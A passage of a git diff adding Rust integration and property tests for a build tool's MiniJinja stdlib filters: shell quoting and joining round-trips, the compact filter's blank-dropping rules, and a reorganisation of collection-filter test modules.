.map_err(|error| TestCaseError::fail(format!("{error:#}")))?; + let words = split(&encoded) + .map_err(|error| TestCaseError::fail(format!("{error:#}")))?; + prop_assert_eq!(&words, std::slice::from_ref(&value), + "quoted {:?} as {:?}", value, encoded); + } +} + +/// The oracle distinguishes quoted from unquoted text. +/// +/// `shlex::split` would satisfy the property for any encoder that happened to +/// emit a single inert word, including the identity function on single-word +/// inputs. Showing that it returns *two* words for the unquoted form is what +/// makes the one-word assertion load-bearing. +#[test] +fn the_split_oracle_sees_the_unquoted_form_as_two_words() -> Result<()> { + let unquoted = split("a b")?; + ensure!( + unquoted == ["a", "b"], + "the oracle should split an unquoted space: {unquoted:?}" + ); + ensure!( + split(&encoded_sh("a b")?)?.len() == 1, + "the oracle should see the quoted form as one word" + ); + Ok(()) +} + +// --------------------------------------------------------------------------- +// OBL-JOIN-SPLIT +// --------------------------------------------------------------------------- + +/// Render `{{ values | shell_join }}` under the environment for `dialect`. +fn join_values(values: &[String], dialect: &str) -> Result { + let subject = Value::from_serialize(values); + render_with("{{ values | shell_join }}", dialect, &subject) +} + +proptest! { + #![proptest_config(ProptestConfig { + cases: 128, + failure_persistence: Some(Box::new(FileFailurePersistence::Direct( + "tests/shell_filter_property_tests.proptest-regressions", + ))), + ..ProptestConfig::default() + })] + + /// Joining and splitting are inverse over sequences of words. + #[test] + fn shell_join_inverts_word_splitting(values in prop::collection::vec(word(), 0..6)) { + let joined = join_values(&values, SH) + .map_err(|error| TestCaseError::fail(format!("{error:#}")))?; + let words = split(&joined) + .map_err(|error| TestCaseError::fail(format!("{error:#}")))?; + prop_assert_eq!(words, values, "joined as {:?}", joined); + } +} + +/// The empty list and the list holding one empty word render differently. +/// +/// These are the two boundaries a `join` implementation is most likely to +/// conflate: if the empty string were emitted for both, one of the two +/// round-trip directions would silently produce the wrong list. `shlex` reads +/// `""` as no words and `''` as one empty word, so a naive implementation that +/// rendered the second as the first would be caught here and nowhere else. +#[rstest] +fn shell_join_distinguishes_an_empty_list_from_one_empty_word() -> Result<()> { + let empty_list = join_values(&[], SH)?; + ensure!( + empty_list.is_empty(), + "an empty list renders as the empty string: {empty_list:?}" + ); + ensure!( + split(&empty_list)?.is_empty(), + "the empty string splits into no words" + ); + + let one_empty_word = join_values(&[String::new()], SH)?; + ensure!( + one_empty_word == "''", + "one empty word renders as a quoted pair: {one_empty_word:?}" + ); + ensure!( + split(&one_empty_word)? == [String::new()], + "the quoted pair splits into one empty word" + ); + Ok(()) +} + +/// The generated join corpus spans the quoting boundary. +/// +/// The elements that matter are the ones a naive `join(" ")` would corrupt: a +/// member containing a space, and a member that is the empty string. Without a +/// tally this property could hold over lists of single inert words and never +/// exercise either. +#[test] +fn the_join_corpus_spans_the_quoting_boundary() { + let tallies: Cell<(usize, usize, usize)> = Cell::new((0, 0, 0)); + TestRunner::new(ProptestConfig { + cases: 128, + ..ProptestConfig::default() + }) + .run(&prop::collection::vec(word(), 0..6), |values| { + let (spaced, empty, lists) = tallies.get(); + let has_space = values.iter().any(|value| value.contains(' ')); + let has_empty = values.iter().any(String::is_empty); + tallies.set(( + spaced + usize::from(has_space), + empty + usize::from(has_empty), + lists + 1, + )); + Ok(()) + }) + .expect("the join corpus should be generatable"); + + let (spaced, empty, lists) = tallies.into_inner(); + assert!( + spaced > 0 && empty > 0 && lists > 0, + "the corpus must include spaced and empty elements: \ + {spaced} spaced, {empty} empty, over {lists} lists" + ); +} + +/// A naive `join(" ")` fails the property the filter satisfies. +/// +/// `xs.join(" ")` looks equivalent for single words and is wrong for anything +/// with a space in it: the shell re-splits that word into two. The control is +/// what separates "the filter joins" from "the filter joins *and quotes*". +#[test] +fn a_naive_join_fails_the_split_round_trip() -> Result<()> { + let values = vec!["a b".to_owned(), "-C".to_owned()]; + let naive = values.join(" "); + ensure!( + naive == "a b -C", + "the naive join should be the plain space join: {naive:?}" + ); + ensure!( + split(&naive)? != values, + "the naive join should not round-trip, or the control proves nothing" + ); + ensure!( + split(&join_values(&values, SH)?)? == values, + "the filter's own join should round-trip the same input" + ); + Ok(()) +} + +// --------------------------------------------------------------------------- +// OBL-JOIN-QUOTE-AGREE +// --------------------------------------------------------------------------- + +proptest! { + #![proptest_config(ProptestConfig { + cases: 128, + failure_persistence: Some(Box::new(FileFailurePersistence::Direct( + "tests/shell_filter_property_tests.proptest-regressions", + ))), + ..ProptestConfig::default() + })] + + /// `shell_join` is `shell_quote` distributed over a list. + #[test] + fn shell_join_agrees_with_quoting_each_element( + values in prop::collection::vec(non_empty_word(), 1..5), + power_shell in any::(), + ) { + let dialect = if power_shell { POWERSHELL } else { SH }; + let joined = join_values(&values, dialect) + .map_err(|error| TestCaseError::fail(format!("{error:#}")))?; + let mut individually = Vec::new(); + for value in &values { + individually.push(quote_value(value, dialect) + .map_err(|error| TestCaseError::fail(format!("{error:#}")))?); + } + prop_assert_eq!( + &joined, + &individually.join(" "), + "shell_join disagreed with shell_quote for dialect {:?}", + dialect, + ); + } +} + +/// The agreement property is not vacuous: the two elements differ. +/// +/// If every element encoded to itself, the joined and individually-quoted +/// forms would agree for any implementation that inserted spaces, and the +/// property would prove nothing. One element that needs quoting is what makes +/// the `join(" ")` in the assertion a real comparison. +#[test] +fn the_agreement_property_has_elements_that_need_quoting() -> Result<()> { + let values = vec!["a b".to_owned(), "plain".to_owned()]; + let quoted = quote_value("a b", SH)?; + ensure!( + quoted != "a b", + "the witness should require quoting, otherwise this proves nothing" + ); + let joined = join_values(&values, SH)?; + ensure!( + joined == format!("{quoted} plain"), + "the join should be the quoted witness followed by the plain word: {joined:?}" + ); + Ok(()) +} diff --git a/tests/std_filter_tests.rs b/tests/std_filter_tests.rs index a877346e2..46ee444db 100644 --- a/tests/std_filter_tests.rs +++ b/tests/std_filter_tests.rs @@ -1,6 +1,6 @@ //! Integration suite covering stdlib filter modules. -#[path = "std_filter_tests/collection_filters.rs"] +#[path = "std_filter_tests/collection_filters/mod.rs"] mod collection_filters; #[path = "std_filter_tests/command_filters/mod.rs"] mod command_filters; diff --git a/tests/std_filter_tests/collection_filters/compact_property.rs b/tests/std_filter_tests/collection_filters/compact_property.rs new file mode 100644 index 000000000..382a6ed6d --- /dev/null +++ b/tests/std_filter_tests/collection_filters/compact_property.rs @@ -0,0 +1,221 @@ +//! The `OBL-COMPACT` property: `compact` is an order-preserving filter with a +//! stable predicate. +//! +//! A table of hand-picked lists could show that the predicate drops the right +//! members one case at a time, but not that the result is always a subsequence +//! of its input, that discarding blanks is idempotent, or that a retained +//! member always survives. Those are statements about the whole domain, so the +//! domain is generated. + +use super::fallible; +use anyhow::{Context, Result}; +use minijinja::{ + Environment, context, + value::{Value, ValueKind}, +}; +use proptest::prelude::*; +use proptest::test_runner::{FileFailurePersistence, TestRunner}; +use std::cell::Cell; + +/// A member drawn from the decision boundary of the blank predicate. +/// +/// Every arm is either a member the contract retains or one it drops, and the +/// two groups are weighted evenly so a run meets both. Whitespace is here +/// because a naive `trim().is_empty()` reading of "blank" would drop it, while +/// the contract keeps it; `0` and `false` are here because a naive truthiness +/// reading would drop them, and the contract keeps them; the empty byte array +/// is here because `Value::as_str` answers for well-formed UTF-8 *bytes* too, +/// so a predicate that asked it without checking `ValueKind::String` would drop +/// a byte array on the strength of a text rule. +/// +/// The two empty containers are the remaining shape a truthiness reading gets +/// wrong. They are held as distinct kinds rather than as one "empty" arm +/// because the filter's own documentation names both `[]` and `{}`, and a +/// predicate that special-cased one would still pass a corpus that only ever +/// generated the other. +fn member() -> impl Strategy { + prop_oneof![ + // Droppable: none, undefined, the empty string. + 2 => Just(Value::from(())), + 2 => Just(Value::UNDEFINED), + 2 => Just(Value::from("")), + // Retained, and the two a truthiness reading would wrongly drop. + 2 => Just(Value::from(0)), + 2 => Just(Value::from(false)), + // Retained, and the one a `trim().is_empty()` reading would drop. + 1 => Just(Value::from(" ")), + // Retained, and the one an unguarded `as_str()` would wrongly drop: + // `Value::from_bytes(vec![])` is `ValueKind::Bytes`, not `String`, and + // its kind is what decides. + 1 => Just(Value::from_bytes(Vec::new())), + // Retained, and the two a truthiness reading would drop alongside `0`. + // Distinct arms so the corpus meets each kind on its own. + 1 => Just(empty_list()), + 1 => Just(empty_map()), + // Retained. + 4 => "[a-z]{1,3}".prop_map(|seed| Value::from(seed.as_str())), + ] +} + +/// Build an empty `Value` of kind [`ValueKind::Seq`]. +fn empty_list() -> Value { + Value::from(Vec::::new()) +} + +/// Build an empty `Value` of kind [`ValueKind::Map`]. +fn empty_map() -> Value { + Value::from_iter(Vec::<(String, Value)>::new()) +} + +/// Whether the contract drops `value`. +/// +/// The empty-string arm tests [`ValueKind::String`] rather than asking +/// [`Value::as_str`], matching `stdlib::collections::is_blank`. That method +/// answers for well-formed UTF-8 *bytes* too, so the unguarded form would call +/// `Value::from_bytes(vec![])` an empty string and drop it — a byte array +/// discarded on the strength of a text rule that does not apply to it. The +/// corpus below reaches that value, so this oracle is checked against the +/// production predicate rather than merely restating it. +fn is_droppable(value: &Value) -> bool { + value.is_none() + || value.is_undefined() + || (value.kind() == ValueKind::String && value.as_str().is_some_and(str::is_empty)) +} + +/// Extract the members of `value`, which the probe has already made a list. +fn members_of(value: &Value) -> Result> { + let iter = value + .try_iter() + .context("the compacted result should be iterable")?; + Ok(iter.collect()) +} + +/// Render `{{ values | compact | list }}` under the stdlib environment. +fn compacted(env: &Environment<'_>, values: &[Value]) -> Result> { + let template = env + .compile_expression("values | compact | list") + .context("compile the compact probe")?; + let result = template + .eval(context!(values => values)) + .context("render the compact probe")?; + members_of(&result) +} + +proptest! { + // The corpus is cheap — one template render per case — so 128 cases still + // reach a wide spread of sequence lengths and member mixes. + #![proptest_config(ProptestConfig { + cases: 128, + // Name the file explicitly. The default `SourceParallel` policy looks + // for a `lib.rs` or `main.rs` beside the source and gives up in an + // integration-test crate, so recorded seeds were neither written nor + // replayed — the file on disk was inert. + failure_persistence: Some(Box::new(FileFailurePersistence::Direct( + "tests/std_filter_tests.proptest-regressions", + ))), + ..ProptestConfig::default() + })] + + /// Every invariant of `OBL-COMPACT` holds at once, over one sequence. + /// + /// Checking them together keeps the corpus small: one render serves all + /// four claims, and a failure names the sequence that produced it. + #[test] + fn compact_is_order_preserving_and_idempotent( + values in prop::collection::vec(member(), 0..8), + seed in "[a-z]{1,3}", + ) { + let env = fallible::stdlib_env() + .map_err(|error| TestCaseError::fail(error.to_string()))?; + + // A member the caller can recognize inside the output. It is appended + // rather than generated into the sequence because it proves, case by + // case, that a retained member survives rendering: without it an + // implementation returning `[]` for every input would satisfy the + // remaining claims. + let mut subject = values.clone(); + subject.push(Value::from(seed.as_str())); + + let observed = compacted(&env, &subject) + .map_err(|error| TestCaseError::fail(format!("{error:#}")))?; + + // (d) never discards a member the contract retains — see the appended + // sentinel above. + prop_assert!(observed.contains(&Value::from(seed.as_str())), + "a retained member must survive compact: {subject:?} -> {observed:?}"); + + // (a) contains no blank member. + for member in &observed { + prop_assert!(!is_droppable(member), + "compact must not emit a blank member: {subject:?} -> {observed:?}"); + } + + // (b) is a subsequence of the input. + let expected: Vec = subject + .iter() + .filter(|item| !is_droppable(item)) + .cloned() + .collect(); + prop_assert_eq!(&observed, &expected, + "compact must drop exactly the blank members, in order"); + + // (c) is idempotent. + let twice = compacted(&env, &observed) + .map_err(|error| TestCaseError::fail(format!("{error:#}")))?; + prop_assert_eq!(&twice, &observed, + "compacting an already-compacted sequence must change nothing"); + } +} + +/// The corpus reaches both sides of the drop/retain boundary. +/// +/// Without this the property could hold over a corpus that only ever generated +/// droppable members — or only ever generated retained ones — and say nothing +/// about the other half of the predicate. The deterministic witness case covers +/// the boundary as a pair, so this asserts that the *generated* domain does too. +/// +/// The two empty containers get their own tally rather than being folded into +/// "retained". They are the arms whose *kind* the property is asserting, so a +/// corpus that happened never to draw one would leave the containment claim +/// untested while the retained total still looked healthy. +#[test] +fn the_generated_corpus_spans_the_drop_retain_boundary() { + let mut runner = TestRunner::new(ProptestConfig { + cases: 128, + ..ProptestConfig::default() + }); + // `TestRunner::run` takes an `Fn`, so the tallies live in a `Cell`. The + // tuple is `(droppable, retained, empty seq, empty map)`. + let tallies: Cell<(usize, usize, usize, usize)> = Cell::new((0, 0, 0, 0)); + runner + .run(&prop::collection::vec(member(), 0..8), |values| { + tallies.set(values.iter().fold( + tallies.get(), + |(droppable, retained, seqs, maps), value| { + let is_empty_sequence = value.kind() == ValueKind::Seq + && value.try_iter().is_ok_and(|mut m| m.next().is_none()); + let is_empty_map = value.kind() == ValueKind::Map + && value.try_iter().is_ok_and(|mut m| m.next().is_none()); + let counts = (usize::from(is_empty_sequence), usize::from(is_empty_map)); + if is_droppable(value) { + (droppable + 1, retained, seqs + counts.0, maps + counts.1) + } else { + (droppable, retained + 1, seqs + counts.0, maps + counts.1) + } + }, + )); + Ok(()) + }) + .expect("the member corpus should be generatable"); + let (droppable, retained, empty_seqs, empty_maps) = tallies.get(); + assert!( + droppable > 0 && retained > 0, + "the corpus must contain both droppable and retained members: \ + {droppable} droppable, {retained} retained" + ); + assert!( + empty_seqs > 0 && empty_maps > 0, + "the corpus must reach both empty containers, or the property says nothing about \ + them: {empty_seqs} empty sequences, {empty_maps} empty maps" + ); +} diff --git a/tests/std_filter_tests/collection_filters/compact_tests.rs b/tests/std_filter_tests/collection_filters/compact_tests.rs new file mode 100644 index 000000000..b8365181f --- /dev/null +++ b/tests/std_filter_tests/collection_filters/compact_tests.rs @@ -0,0 +1,296 @@ +//! Behavioural coverage for the `compact` filter. +//! +//! `compact` drops `none`, undefined and the empty string, and keeps every +//! other value — including `0`, `false`, whitespace and the empty containers, +//! which a truthiness reading of "blank" would discard. The cases here pin that +//! boundary by example; the `OBL-COMPACT` property in `compact_property` pins +//! it over the generated domain. +//! +//! The subject's *kind* matters as much as its members. `compact` accepts a +//! [`ValueKind::Seq`] and a [`ValueKind::Iterable`] and refuses everything +//! else, so [`compact_accepts_a_real_iterable_subject`] reaches the second arm +//! through [`Value::make_iterable`] rather than through a rendered list, and +//! [`compact_rejects_an_undefined_subject`] passes [`Value::UNDEFINED`] as the +//! subject itself rather than as a member. + +use anyhow::{Context, Result, bail, ensure}; +use minijinja::{ + ErrorKind, context, + value::{Value, ValueKind}, +}; +use rstest::rstest; +use test_support::fluent::normalize_fluent_isolates; + +use super::fallible; + +/// `OBL-COMPACT`'s witness: `0` and `false` survive, the blank members do not. +/// +/// All three droppable kinds appear here as members — `none`, undefined, and +/// the empty string — because they are distinct kinds reached by distinct +/// predicates (`is_none`, `is_undefined`, and a `ValueKind::String` guard on +/// emptiness), and a `join` would not distinguish a member that was dropped +/// from one that rendered as nothing. +/// +/// The expectation is written out rather than computed from the filter's own +/// predicate, so this cannot agree with a redefinition of "blank". It is also +/// the naive-truthiness negative control: an implementation that dropped +/// members by `!item.is_true()` renders `x` here. The `False` spelling is +/// `join`'s, which renders a boolean the Python way; what this pins is *which* +/// members survive, and that is exactly the three that do. +#[test] +fn compact_drops_witness_case_blanks_only() -> Result<()> { + let env = fallible::stdlib_env()?; + let values = vec![ + Value::from(0), + Value::from(false), + Value::from(""), + Value::UNDEFINED, + Value::from(()), + Value::from("x"), + ]; + let output = env + .render_str( + "{{ values | compact | join(',') }}", + context!(values => values), + ) + .context("render the compact witness case")?; + ensure!( + output == "0,False,x", + "compact must drop only none, undefined and the empty string, but rendered {output}" + ); + Ok(()) +} + +/// An empty byte array is a value, not an empty string. +/// +/// `Value::as_str` answers for well-formed UTF-8 bytes as well as strings, so +/// a predicate written as `value.as_str().is_some_and(str::is_empty)` discards +/// `Value::from_bytes(vec![])` under a rule that only ever meant empty text. +/// The two kinds are distinct here, and the length check distinguishes them +/// without depending on how either renders. +#[test] +fn compact_retains_an_empty_byte_array() -> Result<()> { + let env = fallible::stdlib_env()?; + let values = vec![Value::from_bytes(Vec::new()), Value::from("")]; + let output = env + .render_str( + "{{ values | compact | length }}", + context!(values => values), + ) + .context("render compact over an empty byte array")?; + ensure!( + output == "1", + "compact must retain the empty byte array and drop only the empty string, but the \ + surviving length was {output}" + ); + Ok(()) +} + +/// An explicit `none` member is droppable, not merely a coerced absence. +/// +/// `Value::from(())` is a genuine `none`, a different kind from +/// [`Value::UNDEFINED`] — which the witness case above carries, so the two +/// predicates are pinned separately rather than by one member standing in for +/// both. +#[test] +fn compact_drops_an_injected_none_member() -> Result<()> { + let env = fallible::stdlib_env()?; + let values = vec![Value::from("keep"), Value::from(()), Value::from("also")]; + let output = env + .render_str( + "{{ values | compact | join(',') }}", + context!(values => values), + ) + .context("render compact over an injected none")?; + ensure!( + output == "keep,also", + "an injected none must be dropped, but rendered {output}" + ); + Ok(()) +} + +/// `compact` rejects a subject that is not a sequence, naming what it received. +/// +/// Per D8 the check is on `ValueKind`, not on `try_iter()`: a map and a string +/// both iterate happily — a map over its keys, a string over its characters — so +/// an implementation that merely tried to iterate would quietly accept them. +/// +/// The `undefined` case is the one a template reaches by naming a variable that +/// was never bound. `Value::from(())` is a genuine `none` and is a different +/// kind, so the two get their own rows: an implementation that folded undefined +/// into none would name the wrong kind here. +#[rstest] +#[case::number("1", "number")] +#[case::boolean("true", "bool")] +#[case::string("'abc'", "string")] +#[case::none("none", "none")] +#[case::undefined("unbound_name", "undefined")] +#[case::mapping("{'a': 1}", "map")] +fn compact_rejects_non_sequences(#[case] subject: &str, #[case] expected_kind: &str) -> Result<()> { + let env = fallible::stdlib_env()?; + let template = format!("{{{{ {subject} | compact }}}}"); + let Err(err) = env.render_str(&template, context! {}) else { + bail!("compact must reject a {expected_kind} subject"); + }; + ensure!( + err.kind() == ErrorKind::InvalidOperation, + "compact should report InvalidOperation, but was {:?}", + err.kind() + ); + let message = normalize_fluent_isolates(&err.to_string()); + ensure!( + message.contains("compact expects a sequence"), + "error should name the expectation: {message}" + ); + ensure!( + message.contains(expected_kind), + "error should name the received kind `{expected_kind}`: {message}" + ); + Ok(()) +} + +/// A sequence of length zero is a sequence, not a non-sequence. +#[test] +fn compact_accepts_an_empty_sequence() -> Result<()> { + let env = fallible::stdlib_env()?; + let output = env + .render_str("{{ [] | compact | length }}", context! {}) + .context("render compact over the empty sequence")?; + ensure!( + output == "0", + "an empty sequence must render 0, got {output}" + ); + Ok(()) +} + +/// `compact` accepts a real iterable subject, not only a sequence. +/// +/// `compact_filter` admits `ValueKind::Seq` and `ValueKind::Iterable` and +/// refuses everything else, but every other case here reaches it through a +/// rendered list — which is a `Seq`. A `MiniJinja` `range()` reports +/// `ObjectRepr::Iterable` instead, so it is the only subject that exercises the +/// second arm of that match; delete the arm and this test stops compiling the +/// same expectation. +/// +/// The kind is asserted before the filter runs, and the members afterwards by +/// value and by kind, because a rendered `join` could agree with a filter that +/// had coerced the subject or dropped a member's type on the way through. +#[test] +fn compact_accepts_a_real_iterable_subject() -> Result<()> { + let env = fallible::stdlib_env()?; + let subject = Value::make_iterable(|| 0_u32..5_u32); + ensure!( + subject.kind() == ValueKind::Iterable, + "the fixture must be a real iterable, but its kind was {:?}", + subject.kind() + ); + + let template = env + .compile_expression("subject | compact | list") + .context("compile the compact iterable probe")?; + let rendered = template + .eval(context!(subject => subject.clone())) + .context("evaluate the compact iterable probe")?; + + let kept: Vec = rendered + .try_iter() + .context("the compacted iterable should itself be iterable")? + .collect(); + let expected: Vec = (0_u32..5_u32).map(Value::from).collect(); + ensure!( + kept == expected, + "compact must retain every member of an iterable subject in order, so {subject:?} \ + should yield {expected:?}, but yielded {kept:?}" + ); + ensure!( + kept.iter().all(|item| item.kind() == ValueKind::Number), + "every retained member must keep its kind, but got {:?}", + kept.iter().map(Value::kind).collect::>() + ); + Ok(()) +} + +/// The empty containers are values, and `compact` retains them. +/// +/// The predicate's doc comment names `[]` and `{}` among the things it keeps, +/// and no other case in this suite reaches either: `compact_accepts_an_empty_\ +/// sequence` passes an empty sequence as the *subject*, which proves the gate +/// admits it, not that the filter keeps it as a *member*. A truthiness reading +/// of "blank" drops both, so this is that defect's negative control. +/// +/// Order is asserted, and so are the kinds. The rendered text alone would not +/// do: `[]` renders as `[]` and `{}` as `{}`, but an implementation that +/// replaced either with a string would render something else only by accident, +/// whereas the kind check fails it outright. +#[test] +fn compact_retains_the_empty_containers() -> Result<()> { + let env = fallible::stdlib_env()?; + let empty_list = Value::from(Vec::::new()); + let empty_map = Value::from_iter(Vec::<(String, Value)>::new()); + ensure!( + empty_list.kind() == ValueKind::Seq, + "the first fixture must be an empty sequence, but was {:?}", + empty_list.kind() + ); + ensure!( + empty_map.kind() == ValueKind::Map, + "the second fixture must be an empty map, but was {:?}", + empty_map.kind() + ); + + let subject = vec![ + empty_list.clone(), + Value::from(""), + empty_map.clone(), + Value::from(""), + ]; + let template = env + .compile_expression("subject | compact | list") + .context("compile the empty-container probe")?; + let rendered = template + .eval(context!(subject => subject.clone())) + .context("evaluate the empty-container probe")?; + + let kept: Vec = rendered + .try_iter() + .context("the compacted containers should themselves be iterable")? + .collect(); + ensure!( + kept == vec![empty_list.clone(), empty_map.clone()], + "compact must retain the empty sequence and the empty map, in order, and drop only \ + the two empty strings, but {subject:?} yielded {kept:?}" + ); + ensure!( + kept.iter().map(Value::kind).collect::>() == vec![ValueKind::Seq, ValueKind::Map], + "the retained containers must keep their kinds, seq then map, but got {:?}", + kept.iter().map(Value::kind).collect::>() + ); + // A slice pattern rather than two indexed reads: it fails the same way when + // the length is wrong, and it says so once instead of relying on `get`. + let [retained_seq, retained_map] = kept.as_slice() else { + bail!( + "compact must retain exactly the two empty containers, but {subject:?} yielded \ + {kept:?}" + ); + }; + ensure!( + is_empty_iterable(retained_seq), + "the retained sequence must still be empty, but was {retained_seq:?}" + ); + ensure!( + is_empty_iterable(retained_map), + "the retained map must still be empty, but was {retained_map:?}" + ); + Ok(()) +} + +/// Whether `value` iterates and yields nothing. +/// +/// A value that cannot iterate answers `false` rather than erroring: every +/// caller is asserting emptiness, so "cannot iterate" and "is not empty" fail +/// the assertion alike, and returning `bool` keeps that out of their hands. +fn is_empty_iterable(value: &Value) -> bool { + value + .try_iter() + .is_ok_and(|mut members| members.next().is_none()) +} diff --git a/tests/std_filter_tests/collection_filters.rs b/tests/std_filter_tests/collection_filters/group_by_tests.rs similarity index 57% rename from tests/std_filter_tests/collection_filters.rs rename to tests/std_filter_tests/collection_filters/group_by_tests.rs index fe50b0374..8105322b4 100644 --- a/tests/std_filter_tests/collection_filters.rs +++ b/tests/std_filter_tests/collection_filters/group_by_tests.rs @@ -1,86 +1,15 @@ -//! Behavioural coverage for the `MiniJinja` collection filters exposed by the -//! Netsuke stdlib. +//! Behavioural coverage for the `group_by` filter. //! -//! These tests exercise the filters end-to-end through a configured template -//! environment to ensure we keep parity between unit expectations and rendered -//! output, especially across error handling scenarios. +//! The filter clusters sequence items by the resolved value of an attribute, +//! preserving first-key-seen order, and must reject both a blank attribute and +//! an item that carries no value for it. + use anyhow::{Context, Result, bail, ensure}; use minijinja::{ErrorKind, context, value::Value}; use rstest::rstest; use serde::Serialize; -use test_support::fluent::normalize_fluent_isolates; - -use super::support::fallible; - -#[rstest] -fn uniq_removes_duplicate_strings() -> Result<()> { - let mut env = fallible::stdlib_env()?; - fallible::register_template(&mut env, "uniq", "{{ values | uniq | join(',') }}")?; - let template = env.get_template("uniq").context("fetch template 'uniq'")?; - let output = template - .render(context!(values => vec!["a", "a", "b", "b", "c"])) - .context("render template 'uniq'")?; - ensure!( - output == "a,b,c", - "uniq should collapse duplicates, but rendered {output}" - ); - Ok(()) -} -#[rstest] -fn uniq_rejects_non_iterables() -> Result<()> { - let env = fallible::stdlib_env()?; - let err = match env.render_str("{{ value | uniq }}", context!(value => 1)) { - Ok(output) => bail!("expected uniq to reject scalars but rendered {output}"), - Err(err) => err, - }; - ensure!( - err.kind() == ErrorKind::InvalidOperation, - "uniq should report InvalidOperation, but was {:?}", - err.kind() - ); - ensure!( - err.to_string().contains("is not iterable"), - "error should mention non-iterable input: {err}" - ); - Ok(()) -} - -#[rstest] -fn flatten_flattens_deeply_nested_lists() -> Result<()> { - let mut env = fallible::stdlib_env()?; - fallible::register_template(&mut env, "flatten", "{{ values | flatten | join(',') }}")?; - let template = env - .get_template("flatten") - .context("fetch template 'flatten'")?; - let output = template - .render(context!(values => vec![vec![vec!["one"], vec!["two"]], vec![vec!["three"]]])) - .context("render template 'flatten'")?; - ensure!( - output == "one,two,three", - "flatten should concatenate items, but rendered {output}" - ); - Ok(()) -} - -#[rstest] -fn flatten_errors_on_scalar_items() -> Result<()> { - let env = fallible::stdlib_env()?; - let err = match env.render_str("{{ [[1], 2] | flatten }}", context! {}) { - Ok(output) => bail!("expected flatten to reject scalar items but rendered {output}"), - Err(err) => err, - }; - ensure!( - err.kind() == ErrorKind::InvalidOperation, - "flatten should report InvalidOperation, but was {:?}", - err.kind() - ); - ensure!( - normalize_fluent_isolates(&err.to_string()).contains("Flatten expected sequence items"), - "error should describe the invalid item: {err}" - ); - Ok(()) -} +use super::fallible; #[derive(Debug, Serialize)] struct Item<'a> { diff --git a/tests/std_filter_tests/collection_filters/mod.rs b/tests/std_filter_tests/collection_filters/mod.rs new file mode 100644 index 000000000..6e61d472f --- /dev/null +++ b/tests/std_filter_tests/collection_filters/mod.rs @@ -0,0 +1,94 @@ +//! Behavioural coverage for the `MiniJinja` collection filters exposed by the +//! Netsuke stdlib. +//! +//! These tests exercise the filters end-to-end through a configured template +//! environment to ensure we keep parity between unit expectations and rendered +//! output, especially across error handling scenarios. +//! +//! This module owns the shared environment import and the `uniq` and `flatten` +//! cases. `compact_tests` and `group_by_tests` hold the remaining behaviour and +//! `compact_property` holds the `OBL-COMPACT` property, so no single file +//! carries the whole surface. + +use anyhow::{Context, Result, bail, ensure}; +use minijinja::{ErrorKind, context}; +use rstest::rstest; +use test_support::fluent::normalize_fluent_isolates; + +pub(super) use super::support::fallible; + +#[rstest] +fn uniq_removes_duplicate_strings() -> Result<()> { + let mut env = fallible::stdlib_env()?; + fallible::register_template(&mut env, "uniq", "{{ values | uniq | join(',') }}")?; + let template = env.get_template("uniq").context("fetch template 'uniq'")?; + let output = template + .render(context!(values => vec!["a", "a", "b", "b", "c"])) + .context("render template 'uniq'")?; + ensure!( + output == "a,b,c", + "uniq should collapse duplicates, but rendered {output}" + ); + Ok(()) +} + +#[rstest] +fn uniq_rejects_non_iterables() -> Result<()> { + let env = fallible::stdlib_env()?; + let err = match env.render_str("{{ value | uniq }}", context!(value => 1)) { + Ok(output) => bail!("expected uniq to reject scalars but rendered {output}"), + Err(err) => err, + }; + ensure!( + err.kind() == ErrorKind::InvalidOperation, + "uniq should report InvalidOperation, but was {:?}", + err.kind() + ); + ensure!( + err.to_string().contains("is not iterable"), + "error should mention non-iterable input: {err}" + ); + Ok(()) +} + +#[rstest] +fn flatten_flattens_deeply_nested_lists() -> Result<()> { + let mut env = fallible::stdlib_env()?; + fallible::register_template(&mut env, "flatten", "{{ values | flatten | join(',') }}")?; + let template = env + .get_template("flatten") + .context("fetch template 'flatten'")?; + let output = template + .render(context!(values => vec![vec![vec!["one"], vec!["two"]], vec![vec!["three"]]])) + .context("render template 'flatten'")?; + ensure!( + output == "one,two,three", + "flatten should concatenate items, but rendered {output}" + ); + Ok(()) +} + +#[rstest] +fn flatten_errors_on_scalar_items() -> Result<()> { + let env = fallible::stdlib_env()?; + let err = match env.render_str("{{ [[1], 2] | flatten }}", context! {}) { + Ok(output) => bail!("expected flatten to reject scalar items but rendered {output}"), + Err(err) => err, + }; + ensure!( + err.kind() == ErrorKind::InvalidOperation, + "flatten should report InvalidOperation, but was {:?}", + err.kind() + ); + ensure!( + normalize_fluent_isolates(&err.to_string()).contains("Flatten expected sequence items"), + "error should describe the invalid item: {err}" + ); + Ok(()) +} + +mod compact_property; + +mod compact_tests; + +mod group_by_tests; diff --git a/tests/stdlib_manifest_query_tests.rs b/tests/stdlib_manifest_query_tests.rs new file mode 100644 index 000000000..34f6676ec --- /dev/null +++ b/tests/stdlib_manifest_query_tests.rs @@ -0,0 +1,229 @@ +//! The manifest-query stdlib surface stays coherent across helpers. +//! +//! `netsuke help targets` registers a restricted stdlib +//! (`stdlib::register_manifest_query`) instead of the full one. Nothing +//! structurally compares the two surfaces, so a helper whose *arity* is +//! changed in one place and not the other would still render — with the wrong +//! diagnostic. These cases pin the contract for the helper that moved: a +//! disabled helper must report that it is disabled, not that its arguments were +//! wrong, and the helpers the query surface permits must still render. +//! +//! The assertions drive a real `netsuke` process rather than the registration +//! function directly: `register_manifest_query` is crate-private, and the +//! boundary a manifest author actually meets is the command. A target +//! `description` is rendered by both loaders, so it is the field that can +//! distinguish "disabled here" from "wrong arguments everywhere". +//! +//! The shell-dialect probes take the other half of that contract, and are +//! large enough to read on their own; they live in the `dialect_probes` child +//! module, which reuses [`run_query`] through the parent. + +#[path = "stdlib_manifest_query_tests/dialect_probes.rs"] +mod dialect_probes; + +use anyhow::{Context, Result, ensure}; +use serde_json::Value; +use test_support::fs as test_fs; + +/// The marker `src/stdlib/register.rs` attaches to every disabled helper. +const DISABLED_MARKER: &str = "is disabled while rendering"; + +/// Captured output of one query against `template` as a target description. +struct QueryRun { + /// Whether the command succeeded. + success: bool, + /// Raw stdout, which carries the catalogue on success. + stdout: String, + /// Raw stderr, which carries the JSON diagnostic on failure. + stderr: String, +} + +/// Write a one-target manifest whose description is `template`. +/// +/// The template is encoded as a YAML scalar rather than wrapped in literal +/// double quotes. A template containing a quote would otherwise close the +/// scalar early and spill the rest of itself into the document as YAML, so a +/// probe could be satisfied by a manifest that never rendered the template it +/// names. `serde_yaml` picks the quoting style, which keeps this test's own +/// escaping out of the set of things a failing probe could be blamed on. +fn write_description_manifest(template: &str) -> Result<(tempfile::TempDir, std::path::PathBuf)> { + let temp 